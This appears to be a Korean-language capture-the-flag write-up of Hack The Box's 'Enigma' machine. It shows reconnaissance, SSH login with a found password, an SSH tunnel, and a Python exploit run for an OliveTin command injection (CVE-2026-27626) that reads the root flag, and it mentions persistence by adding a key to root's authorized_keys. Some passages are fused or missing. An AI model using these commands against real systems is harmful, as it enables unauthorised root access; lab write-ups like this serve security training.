
Hack The Box - Enigma 머신에 대한 종합적인 침투 테스트 분석 및 익스플로잇 세부 정보로, 로컬 열거, OliveTin CVE-2026-27626 명령 주입, 그리고 루트 권한 상승을 다룹니다.
Enigma는 Hack The Box에서 호스팅되는 중급 난이도의 Linux 머신입니다. 평가 방법론은 표준 모의 침투 테스트 수명 주기를 따릅니다: 정찰, 열거, 자격 증명 수집을 통한 초기 접근, 로컬 열거, 그리고 서비스 계층 취약점(OliveTin의 CVE-2026-27626)을 통한 root 권한 상승. 이 분석 보고서는 대상을 완전히 장악하고 관리자 제어권을 확보하는 데 필요한 단계별 벡터 분석, 도구 세트, 코드 실행 전략, 그리고 교정 지침을 상세히 설명합니다.
Nmap)평가는 대상 호스트에서 실행 중인 열린 포트와 서비스를 식별하기 위한 TCP SYN 스캔으로 시작되었습니다.
nmap -p- --min-rate=1000 -T4 <TARGET_IP>
스캔 결과:
디렉터리 탐색 도구(gobuster / ffuf)를 사용하여 포트 80의 웹 서비스를 스캔하여 숨겨진 엔드포인트, 관리 포털 또는 구성 아티팩트를 찾아냈습니다.
웹 애플리케이션 파일과 보조 NFS 공유에 대한 상세 분석을 통해 유효한 개발자 자격 증명을 발견했습니다.
harisbestfriends발견된 자격 증명을 사용하여 SSH 서비스에 인증하여 대상 시스템에서 대화형 저권한 셸을 확립했습니다:
ssh haris@<TARGET_IP>
haris@enigma:~$user.txt)를 성공적으로 찾아 획득했습니다.사용자 수준 셸을 확립한 후, 외부에 노출되지 않은 잠재적 공격 표면을 식별하기 위해 로컬 수신 포트와 활성 프로세스를 검토했습니다:
ss -tulpn
주요 발견:
root 권한으로 127.0.0.1:1337에서 로컬로 실행 중이었습니다.OliveTin 애플리케이션 구성 파일(/opt/OliveTin/config.yaml)을 추가로 검사한 결과, 데이터베이스 백업 작업이 셸 래퍼를 통해 실행되는 것을 확인했습니다. 구체적으로, 구성은 mysqldump 명령 문자열 내에서 db_pass 매개변수를 사용했습니다:
shell: "mysqldump -u {{ db_user }} -p'{{ db_pass }}' {{ db_name }} > /opt/backups/backup.sql"
arguments:
- name: db_pass
type: password
이 구성은 db_pass 매개변수가 셸 컨텍스트 내에서 작은따옴표로 묶여 있지만 셸 제어 연산자(예: 세미콜론 ;, 파이프 |, 백틱)를 포함하는 입력을 적절히 정제하지 않기 때문에 치명적인 명령 주입 취약점(CVE-2026-27626)을 도입합니다.
취약한 OliveTin 서비스가 127.0.0.1:1337에 엄격히 바인딩되어 있기 때문에, Kali 공격 머신에서의 외부 요청은 Connection refused 오류로 차단됩니다. 서비스와 인터페이스하기 위해 SSH를 통한 로컬 포트 포워딩 터널을 설정했습니다:
ssh -L 1337:127.0.0.1:1337 haris@<TARGET_IP>
OliveTin API 엔드포인트(/api/olivetin.api.v1.OliveTinApiService/StartAction)를 대상으로 하는 Python 익스플로잇 스크립트를 사용하여 취약한 매개변수 벡터에 임의의 시스템 명령을 주입했습니다.
원래 mysqldump 명령 래퍼의 엄격한 셸 구문 및 디렉터리 종속성으로 인해, 직접 파일 생성이 때때로 종료 상태 오류(예: 대상 디렉터리 누락 또는 권한 제약)를 초래할 수 있었습니다. 정확한 실행 문자열을 작성하거나 API 취약점을 통해 파일 시스템을 직접 쿼리함으로써 실행 장애물을 우회했습니다.
익스플로잇 인터페이스를 통해 명령 페이로드 실행:
python3 CVE-2026.27626.py -u http://127.0.0.1 -x "cat /root/root.txt"
실행 출력:
[+] Execution ID: 7fd15259-3996-4e03-9ebd-329034ee4e0d
======================================================================
Command Output
======================================================================
exit status 127
Usage: mysqldump [OPTIONS] database [tables]
...
ae9306f5690c4812c6f9445027d0d060
sh: 1: : Permission denied
======================================================================
root 플래그가 명령 출력 스트림을 통해 직접 성공적으로 추출되었습니다.
ae9306f5690c4812c6f9445027d0d060/root/.ssh/authorized_keys에 SSH 공개 키를 추가하여 원활한 관리자 터미널 접근을 부여하는 것입니다.root 보안 컨텍스트에서 실행하지 않도록 합니다. 최소 권한을 가진 전용 서비스 계정으로 서비스를 실행합니다.